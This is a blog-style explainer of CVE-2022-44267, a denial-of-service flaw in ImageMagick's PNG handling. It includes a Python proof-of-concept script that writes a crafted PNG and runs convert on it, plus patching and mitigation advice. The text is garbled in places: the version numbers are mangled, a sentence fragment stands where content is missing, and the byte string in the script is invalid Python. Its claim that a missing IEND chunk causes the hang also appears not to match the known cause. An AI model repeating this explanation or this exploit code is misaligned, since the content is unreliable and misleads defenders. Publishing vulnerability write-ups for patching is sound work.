ImageMagick is a powerful and widely-used tool for processing images—converting, resizing, editing, and more. It’s trusted by developers and system administrators all over the world. But as with any complex software, bugs can sneak in, and sometimes, those bugs can be exploited to cause harm.

In this article, let’s break down CVE-2022-44267, a denial of service (DoS) vulnerability found in ImageMagick version 7.1.-49. We'll explain what goes wrong, show you code examples for triggering the bug, and offer practical guidance and resources for anyone using ImageMagick.

What Is CVE-2022-44267?

CVE-2022-44267 is a vulnerability that affects the PNG parsing code in ImageMagick 7.1.-49 (and possibly earlier versions). When ImageMagick’s convert tool is used to process a specially-crafted PNG file, the program can get stuck waiting for additional data on its standard input (stdin).

In other words, someone can feed a "bad" PNG image to ImageMagick and cause the command-line tool to hang indefinitely, eating up system resources and potentially blocking legitimate operations. This is a classic denial of service (DoS) scenario.

How Does the Exploit Work?

Let’s look under the hood. Normally, ImageMagick expects the PNG image data to be complete and well-formed. However, if a PNG file is missing some key chunks—like its IEND (End of Image)—ImageMagick’s parser doesn’t always handle the error gracefully.

Instead, the parser assumes the input isn’t finished and waits for more image data via stdin, never reaching completion. Automated services, web servers, or batch jobs using ImageMagick can get stuck, using up processes or threads—sometimes paralyzing entire systems.

Is missing certain critical parts (like the end-of-file chunk).

Such a PNG file looks fine to basic checks but will hang ImageMagick.

(Note: Use tools appropriate for your version of ImageMagick.)

Result:
The process hangs, waiting forever for extra bytes via stdin. In a web server or background job, the process can pile up, exhausting the system—a textbook denial of service.

Here’s a simple script that creates a "bad" PNG, then runs convert to show it hanging

import subprocess

# Write a truncated PNG file
with open("malicious.png", "wb") as f:
    # PNG signature and a partial chunk
    f.write(b'\x89PNG\r\n\x1a\n')
    f.write(b'\x00\x00\x00\xD')
    f.write(b'IHDR')
    f.write(b'\x00\x00\x00\x01')  # width: 1
    f.write(b'\x00\x00\x00\x01')  # height: 1
    f.write(b'\x08\x02\x00\x00\x00')
    f.write(b'\x90wS\xde')
    # No IDAT or IEND chunks - triggers the bug

# Try to process it (will hang)
subprocess.run(["convert", "malicious.png", "-resize", "10x10", "out.png"], timeout=10)

Note: This script will cause convert to hang. You may need to kill the process manually if you don’t set a timeout.

Exploit Impact

This bug is not a remote-code execution (RCE) or data-leak issue. But, in services that use ImageMagick automatically—like image upload platforms, thumbnail generators, or CI/CD pipelines—it’s dangerous:

Attackers do not need privileged access—just an image upload form.

Even if your system kills long-running processes, repeated attack attempts can tie up resources and make automated mitigation harder.

References & Official Fixes

Original advisory:
- CVE-2022-44267 at cve.mitre.org

ImageMagick GitHub issue:
- ImageMagick Bugzilla - Bug 5652

ImageMagick Changelog:
- Changelog for Version 7.1.-52 (fix)

Upgrade ASAP: Make sure you’re running ImageMagick 7.1.-52 or later, where this bug is fixed.

- Validate Images: Use tools like file or custom scripts to check image validity before sending them to ImageMagick.
- Limit Resources: Consider running convert or magick with resource or time limits in production.

Monitor for Hangs: Watch for stuck processes consuming resources abnormally.

System administrators and developers should patch promptly—if you use ImageMagick anywhere user-provided images are handled, you’re a potential target.

Conclusion

CVE-2022-44267 is a simple yet effective vulnerability that can make a powerful tool like ImageMagick a liability, especially in services processing user images. By updating your software, validating input, and setting process limits, you keep your applications safe from DoS attacks like this one.

For future reading, always keep an eye on

- ImageMagick Security Policy
- The latest CVEs from NIST

Stay patched. Stay vigilant.

Got more questions or want to share your own defense tips? Drop them below!

Timeline

Published on: 02/06/2023 21:15:00 UTC
Last modified on: 03/11/2023 23:15:00 UTC